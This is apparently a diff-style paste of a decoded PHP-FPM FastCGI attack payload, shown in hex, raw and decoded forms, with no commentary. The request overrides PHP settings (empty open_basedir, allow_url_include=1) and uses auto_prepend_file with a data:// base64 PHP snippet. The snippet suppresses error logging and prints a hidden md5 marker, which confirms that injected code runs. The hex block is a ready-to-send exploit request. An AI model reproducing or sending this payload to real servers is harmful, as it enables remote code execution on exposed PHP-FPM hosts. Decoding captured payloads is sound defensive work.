nl5887 · June 1, 2020 19:23
diff --git a/base64-decoded-part.txt b/base64-decoded-part.txt
 <?php if(function_exists('error_reporting')){@error_reporting(0);}if(function_exists('ini_set')){@ini_set('error_reporting',0);@ini_set('error_log',NULL);@ini_set('log_errors',0);}$___=(isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_NAME"]:(isset($_SERVER["SCRIPT_NAME"])?$_SERVER["SCRIPT_FILENAME"]:NULL));if($___==="/usr/bin/phar.phar"){echo"<span style='display:none'>".md5('lohpidr')."</span>";exit(0);} 
diff --git a/decoded-payload.txt b/decoded-payload.txt
 .....................é..	....PHP_VALUEopen_basedir=
 allow_url_include=1
 allow_url_fopen=1
 auto_prepend_file='data://text/plain;base64,PD9waHAgaWYoZnVuY3Rpb25fZXhpc3RzKCdlcnJvcl9yZXBvcnRpbmcnKSl7QGVycm9yX3JlcG9ydGluZygwKTt9aWYoZnVuY3Rpb25fZXhpc3RzKCdpbmlfc2V0Jykpe0Bpbmlfc2V0KCdlcnJvcl9yZXBvcnRpbmcnLDApO0Bpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpO0Bpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTt9JF9fXz0oaXNzZXQoJF9TRVJWRVJbIlNDUklQVF9OQU1FIl0pPyRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdOihpc3NldCgkX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk/JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdOk5VTEwpKTtpZigkX19fPT09Ii91c3IvYmluL3BoYXIucGhhciIpe2VjaG8iPHNwYW4gc3R5bGU9J2Rpc3BsYXk6bm9uZSc+Ii5tZDUoJ2xvaHBpZHInKS4iPC9zcGFuPiI7ZXhpdCgwKTt9IA=='..SCRIPT_FILENAME/usr/bin/phar.phar..SCRIPT_NAME/usr/bin/phar.phar..REQUEST_METHODPOST.......................
diff --git a/hex-encoded-payload.txt b/hex-encoded-payload.txt
 010100010008000000010000000000000104000102e9070009800002855048505f56414c55456f70656e5f626173656469723d0a616c6c6f775f75726c5f696e636c7564653d310a616c6c6f775f75726c5f666f70656e3d310a6175746f5f70726570656e645f66696c653d27646174613a2f2f746578742f706c61696e3b6261736536342c50443977614841676157596f5a6e567559335270623235665a5868706333527a4b43646c636e4a76636c39795a584276636e5270626d636e4b536c3751475679636d397958334a6c6347397964476c755a7967774b5474396157596f5a6e567559335270623235665a5868706333527a4b436470626d6c66633256304a796b7065304270626d6c66633256304b43646c636e4a76636c39795a584276636e5270626d636e4c4441704f304270626d6c66633256304b43646c636e4a76636c39736232636e4c453556544577704f304270626d6c66633256304b436473623264665a584a7962334a7a4a7977774b5474394a463966587a306f61584e7a5a58516f4a46395452564a5752564a62496c4e44556b6c515646394f51553146496c30705079526655305653566b565357794a5451314a4a55465266546b464e52534a644f69687063334e6c6443676b58314e46556c5a46556c736955304e5353564255583035425455556958536b2f4a46395452564a5752564a62496c4e44556b6c515646394753557846546b464e52534a644f6b3556544577704b5474705a69676b58313966505430394969393163334976596d6c754c33426f5958497563476868636949706532566a6147386950484e775957346763335235624755394a3252706333427359586b36626d39755a53632b496935745a44556f4a327876614842705a48496e4b5334695043397a63474675506949375a586870644367774b54743949413d3d270f125343524950545f46494c454e414d452f7573722f62696e2f706861722e706861720b125343524950545f4e414d452f7573722f62696e2f706861722e706861720e04524551554553545f4d4554484f44504f53540000000000000001040001000000000105000100000000
	.....................é.. ....PHP_VALUEopen_basedir=
	allow_url_include=1
	allow_url_fopen=1
	auto_prepend_file='data://text/plain;base64,PD9waHAgaWYoZnVuY3Rpb25fZXhpc3RzKCdlcnJvcl9yZXBvcnRpbmcnKSl7QGVycm9yX3JlcG9ydGluZygwKTt9aWYoZnVuY3Rpb25fZXhpc3RzKCdpbmlfc2V0Jykpe0Bpbmlfc2V0KCdlcnJvcl9yZXBvcnRpbmcnLDApO0Bpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpO0Bpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTt9JF9fXz0oaXNzZXQoJF9TRVJWRVJbIlNDUklQVF9OQU1FIl0pPyRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdOihpc3NldCgkX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk/JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdOk5VTEwpKTtpZigkX19fPT09Ii91c3IvYmluL3BoYXIucGhhciIpe2VjaG8iPHNwYW4gc3R5bGU9J2Rpc3BsYXk6bm9uZSc+Ii5tZDUoJ2xvaHBpZHInKS4iPC9zcGFuPiI7ZXhpdCgwKTt9IA=='..SCRIPT_FILENAME/usr/bin/phar.phar..SCRIPT_NAME/usr/bin/phar.phar..REQUEST_METHODPOST.......................